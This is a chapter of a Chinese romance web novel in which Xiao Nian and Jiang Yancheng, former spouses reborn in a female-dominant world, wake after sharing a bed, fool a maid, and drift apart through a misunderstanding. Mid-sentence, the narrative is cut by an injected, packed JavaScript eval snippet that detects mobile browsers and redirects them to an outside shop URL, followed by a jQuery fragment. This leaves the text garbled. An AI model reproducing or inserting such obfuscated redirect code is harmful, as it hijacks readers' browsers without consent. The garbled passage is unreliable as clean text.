这次绝不会错!萧念在喊他!
江砚澄全身的血液都沸腾了,猛然扑到床榻边,“萧念,你……!”
只一瞬,脑中思绪千回百转,血液又重新凝固起来。
想问什么呢?问她是不是认出他了?还是没有忘记他?是余情未了,还是喜欢现在这个伪装的模样?
好多疑问……可是萧念现在醉得不省人事,他喊了几声都没有回应。
他终究是泄气地站起身,决定等萧念醒了再问清楚。只是……他的手被萧念抓住了,怎么都抽不出来,“萧念你放手!”
这睡觉喜欢拽着东西睡的毛病,怎么到现在还没改?!
萧念被江砚澄弄得很不舒服,嘟囔了两声,“别动。”
江砚澄不动了,无奈地坐在床榻边,任由她拽着自己的手。
夜色朦胧,雨渐渐停了,晨光照亮天际的时候,萧念醒了。
睁开眼的一瞬间,近在迟尺的脸庞让她屏住了呼吸。余光环顾四周,这是江砚澄的房间,她怎么在这里?
眼前逐渐浮现起昨晚酒醉的碎片,那抹唇上的微凉……
“!!!”她亲了江砚澄!
她怎么能???
虽然是老夫老妻的亲一下也没什么,但是太突然了,等江砚澄醒了,她要怎么面对!
指尖抚上唇瓣,回忆那微凉的触感,以她过往的经历来分析,怎么感觉有些不太对?
目光落在江砚澄脸上,熟睡的面容带着柔和,眉宇间比前世少了点攻击性,可还是好看的,每一寸都长在了萧念的审美上,就算是按照女尊世界的审美,也不输其他男人。
这张脸,萧念真是百看不腻。
视线下移,聚焦在他粉嫩的唇瓣上,她昨天被酒精麻痹了神经,分不清那触感到底是什么,不确定是不是真亲上了,只是觉得有点不太对。
他还没醒,偷亲一下不过分吧?
萧念色向胆边生,揪着被褥,屏住呼吸缓缓靠近。心跳快得要冲破耳膜,在距离还剩两指时,萧念注意到江砚澄颤动的睫毛。
登时像做贼一样,立马闭上眼睛装睡。
江砚澄睁眼的时候便看见萧念近得快要贴上来的脸,差点要惊呼出声,昨晚的记忆潮水般涌入脑中,随后呼吸不由得急促了几分。
萧念还没醒。
紧绷的心弦又松懈下来。
自从来到这个世界后,他还是第一次这般近距离看她。眼睛细细描摹着她的轮廓,萧念的长相和前世并不完全一样,七八分像,多了几分英气,加之高挑的身形,妥妥一个翩翩少年。
江砚澄指尖忍不住靠近,轻触她的脸颊,不敢太用力,极其轻柔地滑过。
若有似无的酥麻感穿透萧念全身。
萧念:“……”
好痒……别乱动了,要憋不住了!
江砚澄指尖掠过鼻梁来到唇边,几不可察地一顿,随后缓缓收回了手。他昨晚如果不阻止会不会更好?
萧念似乎还没忘记他。
想及此处,江砚澄心里莫名升起一股躁动,鬼使神差地闭上了眼,逐渐靠近……
“小姐!该起了。”
羽衣的呼喊声骤然回荡在松月斋的院子里,惊得床榻上的两人同时背脊发麻。江砚澄猛地坐起身,匆忙下床,以最快的速度整理睡乱的衣衫。随后急忙喊萧念,“小姐,快起来。”
“嗯……”萧念装模作样地揉眼睛坐起来,看着江砚澄,十分“疑惑”,“阿砚?你怎么在这儿?”
江砚澄只觉得头疼,“来不及解释了,小姐快起床洗漱。”
不能被羽衣看见,他得找个理由糊弄过去才行。
萧念还想磨蹭一下,被江砚澄掀开被褥,一把拉了起来,三两下理好她的衣服就推了出去。
羽衣茫然地从萧念房里出来,“奇怪,人呢?”
按照往常,萧念这个时候还在赖床才对,结果一抬头就瞧见西厢房门口站着的两人。
“小姐?你怎么从阿砚的屋里出来了?”羽衣满脸不可置信,心里嘀咕起来,这么快就在一起了吗?她错过了什么?
——小姐这可就是你的不对了,没名没分的怎么能这样对阿砚呢?
萧念见羽衣过来,双手叉腰就是一副审视的模样,转头看了眼江砚澄,刚想解释,江砚澄抢先一步,语速飞快地说:“那个、小姐你就算忘了东西也不用特意早起过来拿,我给你送去就好,还专门跑一趟,这也太麻烦了。”
“?”萧念歪了歪头,又看向羽衣,恍然大悟,笑道:“我急用,就没想太多,那晚点你送我书房吧?”
“什么东西啊?”羽衣在两人怪异的表情上来回扫视。江砚澄现在都不服侍萧念了,能落什么东西在他屋里?
“呃……香囊!”
“墨条!”
两人毫无默契地开口,羽衣听后,一脸明白了的表情,捂着嘴偷笑,一溜烟地跑了。
江砚澄叫苦不迭,羽衣你听我解释——
萧念挠了挠耳朵,两人对视一眼,触电般地偏开头,“我、我先去讲堂了。”
“好,小姐先去,我随后就来。”江砚澄完全不敢看她,更不敢和她一起去讲堂,心里万分庆幸还好刚才动作没那么快,及时收住了。
萧念也是不敢多留,回房收拾一下后就马不停蹄地出了院门。
一路上,羽衣嘴角就没停下来过,察觉到萧念警告的眼神,强忍着拉下嘴角,可笑声还是从喉间溢出来。
萧念白她一眼,“羽衣,你差不多行了吧?事情不是你想的那样的。”
“哦~”羽衣应了声,她当然知道了,只是女子进入男子的房间,这已经非同寻常了,悄声试探道:“小姐把阿砚当什么人呢?”
如果以后要纳进门,那她可要和阿砚打好关系了。
萧念驻足在原地,迟疑了会儿,终是叹息一声,抬脚往前走,惆怅的话语飘散在风中。
“一个让我又爱又恨的人。”
这话羽衣就听不懂了,但是主子的私事她也不好太过多问,这是逾矩,萧念对她们已经很纵容了,她也要懂得分寸才是。
“小姐果然是个妙人。”
萧念嗯哼一声,“怎么说?”
羽衣听了很多人对萧念的评价,但她觉得自家主子很好,满嘴的好话,“想法总是出其不意,不管是对事还是对待感情,小姐总是让人耳目一新。”
萧念听着她的奉承,美滋滋地往前走,完全没有注意到后头的人。
江砚澄本不想这么快出来的,但是眼见着时辰快到了,只能在萧念后头跟着,保持点距离,恰好能听到她们的谈话。
那句“一个又爱又恨的人”一字不差地落入耳中,原本浮动的心,像被凝结了一层白霜,厚重而冰凉。
原来萧念还是心有芥蒂,他还侥幸地以为萧念昨晚喊他的名字,是因为对他还有一丝留恋,如今看来,萧念喜欢的一直都是阿砚,从始至终都是江砚澄一人的自作多情罢了。
他真可笑。
江砚澄抬手捂脸,深呼吸一口气,强硬地将所有的情绪按回心底,再抬眸时,面色平静如常。
昨晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997838|191062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一场大雨,浇灌得地面有些湿滑,一不留神就要打个趔趄,江砚澄小心地走着,可还是在一个失神间踉跄了几步,险些摔倒,幸而一只强有力的手扶住了他。
“你没事吧?”岳青扶稳他之后,极速收回手。这可是她最得意的学生,若是摔一跤要告假几日,那可就太可惜了。
江砚澄缓过神来,才发觉自己竟然已经到了讲堂门口了,忙对岳青道谢,“谢过岳讲师。”
岳青见他脸色不对,关怀道:“可是没休息好?脸色怎的这样差?”
刚来的时候不知道萧念和江砚澄的关系,自纵火案后才明白,江砚澄既是萧念的伴读,亦是自己的救命恩人,关心两句是应该的。
可这关心落到别人眼里就变了味,路过的伴读纷纷交头接耳起来,仿佛在看什么有意思的话本子。
“我没事。”江砚澄还没察觉到异常,只是觉得有些累,他的床不大,只够一个人睡,昨晚上和萧念挤一床,吃了好些苦头,右手臂被压久了,现在都是酸疼的。
岳青始终保持着讲师的身份,点点头,“那就快进去吧。”
讲堂里,几人窃窃私语,似是有意要让江砚澄听见一样。
“你说他性子这样无聊,一点都不像个男人,世女看上他什么呢?”
另一人撇撇嘴,“许是世女口味奇特吧……”
“那也不一定,他长得也倒是有几分姿色,女人就喜欢这样的,没看见方才岳讲师都……”那人说着捂嘴偷笑起来。
“这要是真的,那他还真是心野,勾搭完世女还不够,还要勾搭岳——”
“你们说完了吗?”江砚澄不知何时站在了他们身后,声音无波无澜。本来今天心情就不好,还有人专门找茬,江砚澄忍无可忍。
那几人被抓包了也不恼,而是阴阳怪气道:“我们不过是闲谈几句,又没指名道姓,你生什么气?”
“闲谈?”江砚澄垂着的眸子里压着怒火,他忽的挤到几人中间,扯着嘴皮笑,“什么闲谈,我也听听。”
几人面面相觑,没做声。
“怎么不说了?说啊!”江砚澄怒声盯着几人。
几人被他布满血丝的眼睛吓了一跳,没见过江砚澄这样的做派,匆忙四散躲开了,嘴里喃喃道:“疯子,离他远点……”
江砚澄低着头,看着自己手指上的疤痕,自嘲一笑。
疯?
他是疯,疯到总是对萧念抱有不该有的期待,她玩弄他玩得还不够多吗?
江砚澄暗暗发誓,要是再敢对萧念有任何留恋,他就是狗!
“阿欠!”
萧念揉了揉发痒的鼻子,心想是不是昨晚和江砚澄挤一床感冒了,于是端起茶盏,准备去茶憩室倒杯热水喝。
在茶憩室门口,萧念停了一下,掀开门帘,怀着忐忑的心走了进去,在没看到人影后,心又落了下来。
上次在茶憩室和江砚澄相遇,后来每次课憩时,江砚澄都在茶憩室等她。这次怎么没看见?
萧念本来只是准备倒杯热水,此刻却慢悠悠地煮起了茶,煮茶流程繁琐,萧念却不急。只是等茶都快煮好了,却还是没瞧见人影。门帘被人一次次掀开,萧念的视线从一次不落地看过去,到最后只用余光瞟着。
心里忍不住犯起了嘀咕,怎么还不来?
难道江砚澄害羞到不敢见她了?
萧念端起茶盏,轻抿一口,杯沿留下一道清澈的水痕。
这还是江砚澄的茶盏。
也不知道他昨晚有没有受凉,萧念心中微动,决定去找江砚澄。